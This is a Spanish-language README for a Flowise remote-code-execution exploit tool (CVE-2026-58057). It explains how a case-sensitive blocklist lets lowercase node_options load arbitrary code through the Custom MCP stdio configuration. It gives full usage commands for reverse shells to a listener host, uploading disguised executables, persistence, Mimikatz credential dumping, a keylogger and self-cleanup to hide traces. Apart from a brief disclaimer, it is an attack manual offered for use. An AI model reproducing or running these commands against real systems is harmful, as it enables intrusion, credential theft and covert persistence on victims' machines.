Exploit de RCE de Flowise para Windows (CVE-2026-58057). Omite la validación de variables de entorno mediante una falla que distingue entre mayúsculas y minúsculas. Usa node_options para inyectar código arbitrario a través de MCP stdio. Admite reverse shell, persistencia, subida de archivos y volcado de credenciales. Solo para pruebas de seguridad autorizadas.
Este es un exploit de nivel de producción para CVE-2026-58057, una vulnerabilidad crítica de ejecución remota de código en Flowise en plataformas Windows. La vulnerabilidad se origina en una validación de variables de entorno que distingue entre mayúsculas y minúsculas y no bloquea node_options en minúsculas, lo que permite a los atacantes omitir la lista de bloqueo de NODE_OPTIONS y ejecutar código arbitrario a través de la configuración stdio de Custom MCP.
El exploit demuestra prácticas profesionales de ingeniería de software con arquitectura modular, manejo integral de errores y soporte para múltiples tipos de payload.
IMPORTANTE: Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas, pruebas de penetración y fines educativos. El autor no es responsable de ningún uso indebido o daño causado por este software. Obtenga siempre la autorización adecuada antes de probar cualquier sistema.
# Vulnerable Validation (Case-Sensitive )
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
if key in dangerous: # Only blocks exact uppercase match
raise ValueError(f"Modification not allowed")
El atacante se autentica en Flowise
Crea/Modifica el nodo Custom MCP stdio
Inyecta la variable de entorno node_options en minúsculas
Establece el valor en --require malicious-loader.js
Node.js ejecuta el loader cuando se ejecuta MCP stdio
Se logra la ejecución de código arbitrario
✅ Reverse Shell - Conexión de regreso a la máquina del atacante
✅ Bind Shell - Abre un puerto de escucha en el objetivo
✅ Ejecución de comandos - Ejecuta comandos arbitrarios del sistema
✅ Subida de archivos - Sube archivos al sistema objetivo
✅ Persistencia - Múltiples mecanismos de persistencia
✅ Recopilación de información - Recopila inteligencia del sistema
✅ Volcado de credenciales - Integración con Mimikatz
✅ Captura de pantalla - Captura capturas de pantalla del escritorio
✅ Keylogger - Instala capacidad de registro de teclas
🔐 Múltiples métodos de autenticación - Clave API o nombre de usuario/contraseña
🔄 Lógica de reintento automático - Resistente ante problemas de red
🧹 Autolimpieza - Elimina los archivos loader del objetivo
🌐 Multiplataforma - Funciona en Windows/Linux/macOS
🎨 Salida con colores - Legibilidad mejorada
📊 Depuración detallada - Registro detallado para la resolución de problemas
Python 3.6 o superior
pip (administrador de paquetes de Python)
# Clone repository
git clone https://github.com/CerberusMrXi/Flowise-CVE-2026-58057-exploit
cd Flowise-CVE-2026-58057-exploit
# Install dependencies
pip install -r requirements.txt
# Or minimal installation
pip install requests urllib3
FROM python:3.9-alpine
RUN apk add --no-cache gcc musl-dev
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY exploit.py .
ENTRYPOINT ["python3", "exploit.py"]
python3 exploit.py --help
| Opción | Descripción | Ejemplo |
|---|---|---|
-t, --target | URL de Flowise (requerida) | http://localhost:3000 |
-k, --api-key | Clave API de Flowise | flowise_abc123... |
-u, --username | Nombre de usuario | admin |
-p, --password | Contraseña | password123 |
| Opción | Descripción | Ejemplo |
|---|---|---|
--payload | Tipo de payload | reverse_shell |
--lhost | Host del listener | 192.168.1.100 |
--lport | Puerto del listener | 4444 |
--command | Comando a ejecutar | whoami |
--local-file | Archivo a subir | payload.exe |
--remote-path | Ruta remota de guardado | C:\\Temp\\update.exe |
| Opción | Descripción |
|---|---|
--interactive | Iniciar shell interactivo |
--verbose | Habilitar salida de depuración |
--timeout | Tiempo de espera de la solicitud en segundos |
--retries | Número de reintentos |
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload reverse_shell \
--lhost 192.168.1.50 \
--lport 4444
python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \
--payload reverse_shell \
--lhost 192.168.1.50 \
--lport 4444 \
--interactive
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload command_exec \
--command "whoami"
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload file_upload \
--local-file /path/to/payload.exe \
--remote-path "C:\\ProgramData\\update.exe"
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload mimikatz
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload persistence